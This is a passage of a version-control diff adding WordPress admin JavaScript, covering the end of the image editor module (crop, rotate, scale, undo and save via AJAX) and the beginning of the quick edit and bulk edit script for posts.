+				$('#imgedit-crop-' + postid).empty().append('<div class="error"><p>' + imageEditL10n.error + '</p></div>');
+				t.toggleEditor(postid, 0);
+			})
+			.attr('src', ajaxurl + '?' + $.param(data));
+	},
+	/**
+	 * @summary Performs an image edit action.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param  {number}  postid The post id.
+	 * @param  {string}  nonce  The nonce to verify the request.
+	 * @param  {string}  action The action to perform on the image.
+	 *                          The possible actions are: "scale" and "restore".
+	 *
+	 * @returns {boolean|void} Executes a post request that refreshes the page
+	 *                         when the action is performed.
+	 *                         Returns false if a invalid action is given,
+	 *                         or when the action cannot be performed.
+	 */
+	action : function(postid, nonce, action) {
+		var t = this, data, w, h, fw, fh;
+
+		if ( t.notsaved(postid) ) {
+			return false;
+		}
+
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid
+		};
+
+		if ( 'scale' === action ) {
+			w = $('#imgedit-scale-width-' + postid),
+			h = $('#imgedit-scale-height-' + postid),
+			fw = t.intval(w.val()),
+			fh = t.intval(h.val());
+
+			if ( fw < 1 ) {
+				w.focus();
+				return false;
+			} else if ( fh < 1 ) {
+				h.focus();
+				return false;
+			}
+
+			if ( fw === t.hold.ow || fh === t.hold.oh ) {
+				return false;
+			}
+
+			data['do'] = 'scale';
+			data.fwidth = fw;
+			data.fheight = fh;
+		} else if ( 'restore' === action ) {
+			data['do'] = 'restore';
+		} else {
+			return false;
+		}
+
+		t.toggleEditor(postid, 1);
+		$.post(ajaxurl, data, function(r) {
+			$('#image-editor-' + postid).empty().append(r);
+			t.toggleEditor(postid, 0);
+			// refresh the attachment model so that changes propagate
+			if ( t._view ) {
+				t._view.refresh();
+			}
+		});
+	},
+
+	/**
+	 * @summary Stores the changes that are made to the image.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number}  postid   The post id to get the image from the database.
+	 * @param {string}  nonce    The nonce to verify the request.
+	 *
+	 * @returns {boolean|void}  If the actions are successfully saved a response message is shown.
+	 *                          Returns false if there is no image editing history,
+	 *                          thus there are not edit-actions performed on the image.
+	 */
+	save : function(postid, nonce) {
+		var data,
+			target = this.getTarget(postid),
+			history = this.filterHistory(postid, 0),
+			self = this;
+
+		if ( '' === history ) {
+			return false;
+		}
+
+		this.toggleEditor(postid, 1);
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'history': history,
+			'target': target,
+			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
+			'do': 'save'
+		};
+		// Post the image edit data to the backend.
+		$.post(ajaxurl, data, function(r) {
+			// Read the response.
+			var ret = JSON.parse(r);
+
+			// If a response is returned, close the editor and show an error.
+			if ( ret.error ) {
+				$('#imgedit-response-' + postid).html('<div class="error"><p>' + ret.error + '</p></div>');
+				imageEdit.close(postid);
+				return;
+			}
+
+			if ( ret.fw && ret.fh ) {
+				$('#media-dims-' + postid).html( ret.fw + ' &times; ' + ret.fh );
+			}
+
+			if ( ret.thumbnail ) {
+				$('.thumbnail', '#thumbnail-head-' + postid).attr('src', ''+ret.thumbnail);
+			}
+
+			if ( ret.msg ) {
+				$('#imgedit-response-' + postid).html('<div class="updated"><p>' + ret.msg + '</p></div>');
+			}
+
+			if ( self._view ) {
+				self._view.save();
+			} else {
+				imageEdit.close(postid);
+			}
+		});
+	},
+
+	/**
+	 * @summary Creates the image edit window.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid   The post id for the image.
+	 * @param {string} nonce    The nonce to verify the request.
+	 * @param {object} view     The image editor view to be used for the editing.
+	 *
+	 * @returns {void|promise} Either returns void if the button was already activated
+	 *                         or returns an instance of the image editor, wrapped in a promise.
+	 */
+	open : function( postid, nonce, view ) {
+		this._view = view;
+
+		var dfd, data, elem = $('#image-editor-' + postid), head = $('#media-head-' + postid),
+			btn = $('#imgedit-open-btn-' + postid), spin = btn.siblings('.spinner');
+
+		/*
+		 * Instead of disabling the button, which causes a focus loss and makes screen
+		 * readers announce "unavailable", return if the button was already clicked.
+		 */
+		if ( btn.hasClass( 'button-activated' ) ) {
+			return;
+		}
+
+		spin.addClass( 'is-active' );
+
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'do': 'open'
+		};
+
+		dfd = $.ajax({
+			url:  ajaxurl,
+			type: 'post',
+			data: data,
+			beforeSend: function() {
+				btn.addClass( 'button-activated' );
+			}
+		}).done(function( html ) {
+			elem.html( html );
+			head.fadeOut('fast', function(){
+				elem.fadeIn('fast');
+				btn.removeClass( 'button-activated' );
+				spin.removeClass( 'is-active' );
+			});
+			// Initialise the Image Editor now that everything is ready.
+			imageEdit.init( postid );
+		});
+
+		return dfd;
+	},
+
+	/**
+	 * @summary Initializes the cropping tool and sets a default cropping selection.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 *
+	 * @returns {void}
+	 */
+	imgLoaded : function(postid) {
+		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);
+
+		// Ensure init has run even when directly loaded.
+		if ( 'undefined' === typeof this.hold.sizer ) {
+			this.init( postid );
+		}
+
+		this.initCrop(postid, img, parent);
+		this.setCropSelection(postid, 0);
+		this.toggleEditor(postid, 0);
+		// Editor is ready, move focus to the first focusable element.
+		$( '.imgedit-wrap .imgedit-help-toggle' ).eq( 0 ).focus();
+	},
+
+	/**
+	 * @summary Initializes the cropping tool.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number}      postid The post id.
+	 * @param {HTMLElement} image  The preview image.
+	 * @param {HTMLElement} parent The preview image container.
+	 *
+	 * @returns {void}
+	 */
+	initCrop : function(postid, image, parent) {
+		var t = this,
+			selW = $('#imgedit-sel-width-' + postid),
+			selH = $('#imgedit-sel-height-' + postid),
+			$img;
+
+		t.iasapi = $(image).imgAreaSelect({
+			parent: parent,
+			instance: true,
+			handles: true,
+			keys: true,
+			minWidth: 3,
+			minHeight: 3,
+
+			/**
+			 * @summary Sets the CSS styles and binds events for locking the aspect ratio.
+			 *
+			 * @param {jQuery} img The preview image.
+			 */
+			onInit: function( img ) {
+				// Ensure that the imgAreaSelect wrapper elements are position:absolute.
+				// (even if we're in a position:fixed modal)
+				$img = $( img );
+				$img.next().css( 'position', 'absolute' )
+					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
+				/**
+				 * @summary Binds mouse down event to the cropping container.
+				 *
+				 * @returns {void}
+				 */
+				parent.children().on( 'mousedown, touchstart', function(e){
+					var ratio = false, sel, defRatio;
+
+					if ( e.shiftKey ) {
+						sel = t.iasapi.getSelection();
+						defRatio = t.getSelRatio(postid);
+						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
+					}
+
+					t.iasapi.setOptions({
+						aspectRatio: ratio
+					});
+				});
+			},
+
+			/**
+			 * @summary Event triggered when starting a selection.
+			 *
+			 * @returns {void}
+			 */
+			onSelectStart: function() {
+				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
+			},
+			/**
+			 * @summary Event triggered when the selection is ended.
+			 *
+			 * @param {object} img jQuery object representing the image.
+			 * @param {object} c   The selection.
+			 *
+			 * @returns {object}
+			 */
+			onSelectEnd: function(img, c) {
+				imageEdit.setCropSelection(postid, c);
+			},
+
+			/**
+			 * @summary Event triggered when the selection changes.
+			 *
+			 * @param {object} img jQuery object representing the image.
+			 * @param {object} c   The selection.
+			 *
+			 * @returns {void}
+			 */
+			onSelectChange: function(img, c) {
+				var sizer = imageEdit.hold.sizer;
+				selW.val( imageEdit.round(c.width / sizer) );
+				selH.val( imageEdit.round(c.height / sizer) );
+			}
+		});
+	},
+
+	/**
+	 * @summary Stores the current crop selection.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 * @param {object} c      The selection.
+	 *
+	 * @returns {boolean}
+	 */
+	setCropSelection : function(postid, c) {
+		var sel;
+
+		c = c || 0;
+
+		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
+			this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 0);
+			this.setDisabled($('#imgedit-crop-sel-' + postid), 0);
+			$('#imgedit-sel-width-' + postid).val('');
+			$('#imgedit-sel-height-' + postid).val('');
+			$('#imgedit-selection-' + postid).val('');
+			return false;
+		}
+
+		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
+		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
+		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
+	},
+
+
+	/**
+	 * @summary Closes the image editor.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number}  postid The post id.
+	 * @param {bool}    warn   Warning message.
+	 *
+	 * @returns {void|bool} Returns false if there is a warning.
+	 */
+	close : function(postid, warn) {
+		warn = warn || false;
+
+		if ( warn && this.notsaved(postid) ) {
+			return false;
+		}
+
+		this.iasapi = {};
+		this.hold = {};
+
+		// If we've loaded the editor in the context of a Media Modal, then switch to the previous view,
+		// whatever that might have been.
+		if ( this._view ){
+			this._view.back();
+		}
+
+		// In case we are not accessing the image editor in the context of a View, close the editor the old-skool way
+		else {
+			$('#image-editor-' + postid).fadeOut('fast', function() {
+				$( '#media-head-' + postid ).fadeIn( 'fast', function() {
+					// Move focus back to the Edit Image button. Runs also when saving.
+					$( '#imgedit-open-btn-' + postid ).focus();
+				});
+				$(this).empty();
+			});
+		}
+
+
+	},
+
+	/**
+	 * @summary Checks if the image edit history is saved.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 *
+	 * @returns {boolean} Returns true if the history is not saved.
+	 */
+	notsaved : function(postid) {
+		var h = $('#imgedit-history-' + postid).val(),
+			history = ( h !== '' ) ? JSON.parse(h) : [],
+			pop = this.intval( $('#imgedit-undone-' + postid).val() );
+
+		if ( pop < history.length ) {
+			if ( confirm( $('#imgedit-leaving-' + postid).html() ) ) {
+				return false;
+			}
+			return true;
+		}
+		return false;
+	},
+
+	/**
+	 * @summary Adds an image edit action to the history.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {object} op     The original position.
+	 * @param {number} postid The post id.
+	 * @param {string} nonce  The nonce.
+	 *
+	 * @returns {void}
+	 */
+	addStep : function(op, postid, nonce) {
+		var t = this, elem = $('#imgedit-history-' + postid),
+			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
+			undone = $( '#imgedit-undone-' + postid ),
+			pop = t.intval( undone.val() );
+
+		while ( pop > 0 ) {
+			history.pop();
+			pop--;
+		}
+		undone.val(0); // reset
+
+		history.push(op);
+		elem.val( JSON.stringify(history) );
+
+		t.refreshEditor(postid, nonce, function() {
+			t.setDisabled($('#image-undo-' + postid), true);
+			t.setDisabled($('#image-redo-' + postid), false);
+		});
+	},
+
+	/**
+	 * @summary Rotates the image.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {string} angle  The angle the image is rotated with.
+	 * @param {number} postid The post id.
+	 * @param {string} nonce  The nonce.
+	 * @param {object} t      The target element.
+	 *
+	 * @returns {boolean}
+	 */
+	rotate : function(angle, postid, nonce, t) {
+		if ( $(t).hasClass('disabled') ) {
+			return false;
+		}
+
+		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
+	},
+
+	/**
+	 * @summary Flips the image.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} axis   The axle the image is flipped on.
+	 * @param {number} postid The post id.
+	 * @param {string} nonce  The nonce.
+	 * @param {object} t      The target element.
+	 *
+	 * @returns {boolean}
+	 */
+	flip : function (axis, postid, nonce, t) {
+		if ( $(t).hasClass('disabled') ) {
+			return false;
+		}
+
+		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
+	},
+
+	/**
+	 * @summary Crops the image.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 * @param {string} nonce  The nonce.
+	 * @param {object} t      The target object.
+	 *
+	 * @returns {void|boolean} Returns false if the crop button is disabled.
+	 */
+	crop : function (postid, nonce, t) {
+		var sel = $('#imgedit-selection-' + postid).val(),
+			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
+			h = this.intval( $('#imgedit-sel-height-' + postid).val() );
+
+		if ( $(t).hasClass('disabled') || sel === '' ) {
+			return false;
+		}
+
+		sel = JSON.parse(sel);
+		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
+			sel.fw = w;
+			sel.fh = h;
+			this.addStep({ 'c': sel }, postid, nonce);
+		}
+	},
+
+	/**
+	 * @summary Undoes an image edit action.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid   The post id.
+	 * @param {string} nonce    The nonce.
+	 *
+	 * @returns {void|false} Returns false if the undo button is disabled.
+	 */
+	undo : function (postid, nonce) {
+		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
+			pop = t.intval( elem.val() ) + 1;
+
+		if ( button.hasClass('disabled') ) {
+			return;
+		}
+
+		elem.val(pop);
+		t.refreshEditor(postid, nonce, function() {
+			var elem = $('#imgedit-history-' + postid),
+				history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];
+
+			t.setDisabled($('#image-redo-' + postid), true);
+			t.setDisabled(button, pop < history.length);
+			// When undo gets disabled, move focus to the redo button to avoid a focus loss.
+			if ( history.length === pop ) {
+				$( '#image-redo-' + postid ).focus();
+			}
+		});
+	},
+
+	/**
+	 * Reverts a undo action.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 * @param {string} nonce  The nonce.
+	 *
+	 * @returns {void}
+	 */
+	redo : function(postid, nonce) {
+		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
+			pop = t.intval( elem.val() ) - 1;
+
+		if ( button.hasClass('disabled') ) {
+			return;
+		}
+
+		elem.val(pop);
+		t.refreshEditor(postid, nonce, function() {
+			t.setDisabled($('#image-undo-' + postid), true);
+			t.setDisabled(button, pop > 0);
+			// When redo gets disabled, move focus to the undo button to avoid a focus loss.
+			if ( 0 === pop ) {
+				$( '#image-undo-' + postid ).focus();
+			}
+		});
+	},
+
+	/**
+	 * @summary Sets the selection for the height and width in pixels.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid The post id.
+	 * @param {jQuery} el     The element containing the values.
+	 *
+	 * @returns {void|boolean} Returns false when the x or y value is lower than 1,
+	 *                         void when the value is not numeric or when the operation
+	 *                         is successful.
+	 */
+	setNumSelection : function( postid, el ) {
+		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
+			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
+			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
+			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;
+
+		if ( false === this.validateNumeric( el ) ) {
+			return;
+		}
+
+		if ( x < 1 ) {
+			elX.val('');
+			return false;
+		}
+
+		if ( y < 1 ) {
+			elY.val('');
+			return false;
+		}
+
+		if ( x && y && ( sel = ias.getSelection() ) ) {
+			x2 = sel.x1 + Math.round( x * sizer );
+			y2 = sel.y1 + Math.round( y * sizer );
+			x1 = sel.x1;
+			y1 = sel.y1;
+
+			if ( x2 > imgw ) {
+				x1 = 0;
+				x2 = imgw;
+				elX.val( Math.round( x2 / sizer ) );
+			}
+
+			if ( y2 > imgh ) {
+				y1 = 0;
+				y2 = imgh;
+				elY.val( Math.round( y2 / sizer ) );
+			}
+
+			ias.setSelection( x1, y1, x2, y2 );
+			ias.update();
+			this.setCropSelection(postid, ias.getSelection());
+		}
+	},
+
+	/**
+	 * Rounds a number to a whole.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} num The number.
+	 *
+	 * @returns {number} The number rounded to a whole number.
+	 */
+	round : function(num) {
+		var s;
+		num = Math.round(num);
+
+		if ( this.hold.sizer > 0.6 ) {
+			return num;
+		}
+
+		s = num.toString().slice(-1);
+
+		if ( '1' === s ) {
+			return num - 1;
+		} else if ( '9' === s ) {
+			return num + 1;
+		}
+
+		return num;
+	},
+
+	/**
+	 * Sets a locked aspect ratio for the selection.
+	 *
+	 * @memberof imageEdit
+	 * @since    2.9.0
+	 *
+	 * @param {number} postid     The post id.
+	 * @param {number} n          The ratio to set.
+	 * @param {jQuery} el         The element containing the values.
+	 *
+	 * @returns {void}
+	 */
+	setRatioSelection : function(postid, n, el) {
+		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
+			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
+			h = $('#image-preview-' + postid).height();
+
+		if ( false === this.validateNumeric( el ) ) {
+			return;
+		}
+
+		if ( x && y ) {
+			this.iasapi.setOptions({
+				aspectRatio: x + ':' + y
+			});
+
+			if ( sel = this.iasapi.getSelection(true) ) {
+				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );
+
+				if ( r > h ) {
+					r = h;
+					if ( n ) {
+						$('#imgedit-crop-height-' + postid).val('');
+					} else {
+						$('#imgedit-crop-width-' + postid).val('');
+					}
+				}
+
+				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
+				this.iasapi.update();
+			}
+		}
+	},
+
+	/**
+	 * Validates if a value in a jQuery.HTMLElement is numeric.
+	 *
+	 * @memberof imageEdit
+	 * @since    4.6
+	 *
+	 * @param {jQuery} el The html element.
+	 *
+	 * @returns {void|boolean} Returns false if the value is not numeric,
+	 *                         void when it is.
+	 */
+	validateNumeric: function( el ) {
+		if ( ! this.intval( $( el ).val() ) ) {
+			$( el ).val( '' );
+			return false;
+		}
+	}
+};
+})(jQuery);
Index: /tags/5.0.20/src/wp-admin/js/inline-edit-post.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/inline-edit-post.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/inline-edit-post.js	(revision 56912)
@@ -0,0 +1,553 @@
+/* global inlineEditL10n, ajaxurl, typenow */
+/**
+ * This file contains the functions needed for the inline editing of posts.
+ *
+ * @since 2.7.0
+ */
+
+window.wp = window.wp || {};
+
+/**
+ * Manages the quick edit and bulk edit windows for editing posts or pages.
+ *
+ * @namespace
+ *
+ * @since 2.7.0
+ * @access public
+ *
+ * @type {Object}
+ *
+ * @property {string} type The type of inline editor.
+ * @property {string} what The prefix before the post id.
+ *
+ */
+var inlineEditPost;
+( function( $, wp ) {
+
+	inlineEditPost = {
+
+	/**
+	 * @summary Initializes the inline and bulk post editor.
+	 *
+	 * Binds event handlers to the escape key to close the inline editor
+	 * and to the save and close buttons. Changes DOM to be ready for inline
+	 * editing. Adds event handler to bulk edit.
+	 *
+	 * @memberof inlineEditPost
+	 * @since 2.7.0
+	 *
+	 * @returns {void}
+	 */
+	init : function(){
+		var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');
+
+		t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post';
+		// Post id prefix.
+		t.what = '#post-';
+
+		/**
+		 * @summary Bind escape key to revert the changes and close the quick editor.
+		 *
+		 * @returns {boolean} The result of revert.
+		 */
+		qeRow.keyup(function(e){
+			// Revert changes if escape key is pressed.
+			if ( e.which === 27 ) {
+				return inlineEditPost.revert();
+			}
+		});
+
+		/**
+		 * @summary Bind escape key to revert the changes and close the bulk editor.
+		 *
+		 * @returns {boolean} The result of revert.
+		 */
+		bulkRow.keyup(function(e){
+			// Revert changes if escape key is pressed.
+			if ( e.which === 27 ) {
+				return inlineEditPost.revert();
+			}
+		});
+
+		/**
+		 * @summary Revert changes and close the quick editor if the cancel button is clicked.
+		 *
+		 * @returns {boolean} The result of revert.
+		 */
+		$( '.cancel', qeRow ).click( function() {
+			return inlineEditPost.revert();
+		});
+
+		/**
+		 * @summary Save changes in the quick editor if the save(named: update) button is clicked.
+		 *
+		 * @returns {boolean} The result of save.
+		 */
+		$( '.save', qeRow ).click( function() {
+			return inlineEditPost.save(this);
+		});
+
+		/**
+		 * @summary If enter is pressed, and the target is not the cancel button, save the post.
+		 *
+		 * @returns {boolean} The result of save.
+		 */
+		$('td', qeRow).keydown(function(e){
+			if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) {
+				return inlineEditPost.save(this);
+			}
+		});
+
+		/**
+		 * @summary Revert changes and close the bulk editor if the cancel button is clicked.
+		 *
+		 * @returns {boolean} The result of revert.
+		 */
+		$( '.cancel', bulkRow ).click( function() {
+			return inlineEditPost.revert();
+		});
+
+		/**
+		 * @summary Disables the password input field when the private post checkbox is checked.
+		 */
+		$('#inline-edit .inline-edit-private input[value="private"]').click( function(){
+			var pw = $('input.inline-edit-password-input');
+			if ( $(this).prop('checked') ) {
+				pw.val('').prop('disabled', true);
+			} else {
+				pw.prop('disabled', false);
+			}
+		});
+
+		/**
+		 * @summary Bind click event to the .editinline link which opens the quick editor.
+		 */
+		$('#the-list').on( 'click', 'a.editinline', function( e ) {
+			e.preventDefault();
+			inlineEditPost.edit(this);
+		});
+
+		$('#bulk-edit').find('fieldset:first').after(
+			$('#inline-edit fieldset.inline-edit-categories').clone()
+		).siblings( 'fieldset:last' ).prepend(
+			$('#inline-edit label.inline-edit-tags').clone()
+		);
+
+		$('select[name="_status"] option[value="future"]', bulkRow).remove();
+
+		/**
+		 * @summary Adds onclick events to the apply buttons.
+		 */
+		$('#doaction, #doaction2').click(function(e){
+			var n;
+
+			t.whichBulkButtonId = $( this ).attr( 'id' );
+			n = t.whichBulkButtonId.substr( 2 );
+
+			if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) {
+				e.preventDefault();
+				t.setBulk();
+			} else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
+				t.revert();
+			}
+		});
+	},
+
+	/**
+	 * @summary Toggles the quick edit window.
+	 *
+	 * Hides the window when it's active and shows the window when inactive.
+	 *
+	 * @memberof inlineEditPost
+	 * @since 2.7.0
+	 *
+	 * @param {Object} el Element within a post table row.
+	 */
+	toggle : function(el){
+		var t = this;
+		$( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el );
+	},
+
+	/**
+	 * @summary Creates the bulk editor row to edit multiple posts at once.
+	 *
+	 * @memberof inlineEditPost
+	 * @since 2.7.0
+	 */
+	setBulk : function(){
+		var te = '', type = this.type, c = true;
+		this.revert();
+
+		$( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );
+
+		// Insert the editor at the top of the table with an empty row above to maintain zebra striping.
+		$('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>');
+		$('#bulk-edit').addClass('inline-editor').show();
+
+		/**
+		 * @summary Create a HTML div with the title and a delete link(cross-icon) for each selected post.
+		 *
+		 * Get the selected posts based on the checked checkboxes in the post table.
+		 * Create a HTML div with the title and a link(delete-icon) for each selected post.
+		 */
+		$( 'tbody th.check-column input[type="checkbox"]' ).each( function() {
+
+			// If the checkbox for a post is selected, add the post to the edit list.
+			if ( $(this).prop('checked') ) {
+				c = false;
+				var id = $(this).val(), theTitle;
+				theTitle = $('#inline_'+id+' .post_title').html() || inlineEditL10n.notitle;
+				te += '<div id="ttle'+id+'"><a id="_'+id+'" class="ntdelbutton" title="'+inlineEditL10n.ntdeltitle+'">X</a>'+theTitle+'</div>';
+			}
+		});
+
+		// If no checkboxes where checked, just hide the quick/bulk edit rows.
+		if ( c ) {
+			return this.revert();
+		}
+
+		// Add onclick events to the delete-icons in the bulk editors the post title list.
+		$('#bulk-titles').html(te);
+		/**
+		 * @summary Binds on click events to the checkboxes before the posts in the table.
+		 *
+		 * @listens click
+		 */
+		$('#bulk-titles a').click(function(){
+			var id = $(this).attr('id').substr(1);
+
+			$('table.widefat input[value="' + id + '"]').prop('checked', false);
+			$('#ttle'+id).remove();
+		});
+
+		// Enable auto-complete for tags when editing posts.
+		if ( 'post' === type ) {
+			$( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) {
+				/*
+				 * While Quick Edit clones the form each time, Bulk Edit always re-uses
+				 * the same form. Let's check if an autocomplete instance already exists.
+				 */
+				if ( $( element ).autocomplete( 'instance' ) ) {
+					// jQuery equivalent of `continue` within an `each()` loop.
+					return;
+				}
+
+				$( element ).wpTagsSuggest();
+			} );
+		}
+
+		// Scrolls to the top of the table where the editor is rendered.
+		$('html, body').animate( { scrollTop: 0 }, 'fast' );
+	},
+
+	/**
+	 * @summary Creates a quick edit window for the post that has been clicked.
+	 *
+	 * @memberof inlineEditPost
+	 * @since 2.7.0
+	 *
+	 * @param {number|Object} id The id of the clicked post or an element within a post
+	 *                           table row.
+	 * @returns {boolean} Always returns false at the end of execution.
+	 */
+	edit : function(id) {
+		var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw;
+		t.revert();
+
+		if ( typeof(id) === 'object' ) {
+			id = t.getId(id);
+		}
+
+		fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template'];
+		if ( t.type === 'page' ) {
+			fields.push('post_parent');
+		}
+
+		// Add the new edit row with an extra blank row underneath to maintain zebra striping.
+		editRow = $('#inline-edit').clone(true);
+		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );
+
+		$(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>');
+
+		// Populate fields in the quick edit window.
+		rowData = $('#inline_'+id);
+		if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) {
+
+			// The post author no longer has edit capabilities, so we need to add them to the list of authors.
+			$(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#' + t.type + '-' + id + ' .author').text() + '</option>');
+		}
+		if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) {
+			$('label.inline-edit-author', editRow).hide();
+		}
+
+		for ( f = 0; f < fields.length; f++ ) {
+			val = $('.'+fields[f], rowData);
+
+			/**
+			 * @summary Replaces the image for a Twemoji(Twitter emoji) with it's alternate text.
+			 *
+			 * @returns Alternate text from the image.
+			 */
+			val.find( 'img' ).replaceWith( function() { return this.alt; } );
+			val = val.text();
+			$(':input[name="' + fields[f] + '"]', editRow).val( val );
+		}
+
+		if ( $( '.comment_status', rowData ).text() === 'open' ) {
+			$( 'input[name="comment_status"]', editRow ).prop( 'checked', true );
+		}
+		if ( $( '.ping_status', rowData ).text() === 'open' ) {
+			$( 'input[name="ping_status"]', editRow ).prop( 'checked', true );
+		}
+		if ( $( '.sticky', rowData ).text() === 'sticky' ) {
+			$( 'input[name="sticky"]', editRow ).prop( 'checked', true );
+		}
+
+		/**
+		 * @summary Creates the select boxes for the categories.
+		 */
+		$('.post_category', rowData).each(function(){
+			var taxname,
+				term_ids = $(this).text();
+
+			if ( term_ids ) {
+				taxname = $(this).attr('id').replace('_'+id, '');
+				$('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(','));
+			}
+		});
+
+		/**
+		 * @summary Gets all the taxonomies for live auto-fill suggestions.
+		 * When typing the name of a tag.
+		 */
+		$('.tags_input', rowData).each(function(){
+			var terms = $(this),
+				taxname = $(this).attr('id').replace('_' + id, ''),
+				textarea = $('textarea.tax_input_' + taxname, editRow),
+				comma = inlineEditL10n.comma;
+
+			terms.find( 'img' ).replaceWith( function() { return this.alt; } );
+			terms = terms.text();
+
+			if ( terms ) {
+				if ( ',' !== comma ) {
+					terms = terms.replace(/,/g, comma);
+				}
+				textarea.val(terms);
+			}
+
+			textarea.wpTagsSuggest();
+		});
+
+		// Handle the post status.
+		status = $('._status', rowData).text();
+		if ( 'future' !== status ) {
+			$('select[name="_status"] option[value="future"]', editRow).remove();
+		}
+
+		pw = $( '.inline-edit-password-input' ).prop( 'disabled', false );
+		if ( 'private' === status ) {
+			$('input[name="keep_private"]', editRow).prop('checked', true);
+			pw.val( '' ).prop( 'disabled', true );
+		}
+
+		// Remove the current page and children from the parent dropdown.
+		pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow);
+		if ( pageOpt.length > 0 ) {
+			pageLevel = pageOpt[0].className.split('-')[1];
+			nextPage = pageOpt;
+			while ( pageLoop ) {
+				nextPage = nextPage.next('option');
+				if ( nextPage.length === 0 ) {
+					break;
+				}
+
+				nextLevel = nextPage[0].className.split('-')[1];
+
+				if ( nextLevel <= pageLevel ) {
+					pageLoop = false;
+				} else {
+					nextPage.remove();
+					nextPage = pageOpt;
+				}
+			}
+			pageOpt.remove();
+		}
+
+		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
+		$('.ptitle', editRow).focus();
+
+		return false;
+	},
+
+	/**
+	 * @summary Saves the changes made in the quick edit window to the post.
+	 * AJAX saving is only for Quick Edit and not for bulk edit.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param   {int}     id The id for the post that has been changed.
+	 * @returns {boolean}    false, so the form does not submit when pressing
+	 *                       Enter on a focused field.
+	 */
+	save : function(id) {
+		var params, fields, page = $('.post_status_page').val() || '';
+
+		if ( typeof(id) === 'object' ) {
+			id = this.getId(id);
+		}
